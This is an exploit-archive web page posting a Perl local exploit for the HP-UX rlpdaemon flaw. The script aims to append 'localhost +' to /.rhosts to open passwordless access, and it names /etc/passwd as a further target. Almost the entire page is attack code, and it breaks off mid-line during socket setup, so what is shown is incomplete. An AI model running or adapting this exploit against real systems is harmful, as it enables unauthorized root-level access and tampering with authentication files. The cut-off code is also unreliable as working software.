Home / exploits HP-UX rlpdaemon Local .rhosts Append
Posted on 18 March 2014
#!/opt/perl5/bin/perl -w # HP-UX rlpdaemon local exploit # Bulletin HPSBUX0111-176 (November 2001) # # For use only on machines where you have legitimate root. # This attempts to add junk (including "localhost +") to /.rhosts. # Obvious variants could include /etc/passwd. use IO::Socket; $PORT = 9000; # pick something not in use $pid=fork; die("fork: $!") unless (defined($pid)); if (0 == $pid) { # child - server, exec rlpdaemon with chosen argv $IPPROTO_TCP=6; $SOCK_STREAM=1; $AF_INET=2; $PF_INET=2; $sockaddr='S n a4 x8'; # packed socket data $this=pack($sockaddr, $AF_INET, $PORT, "
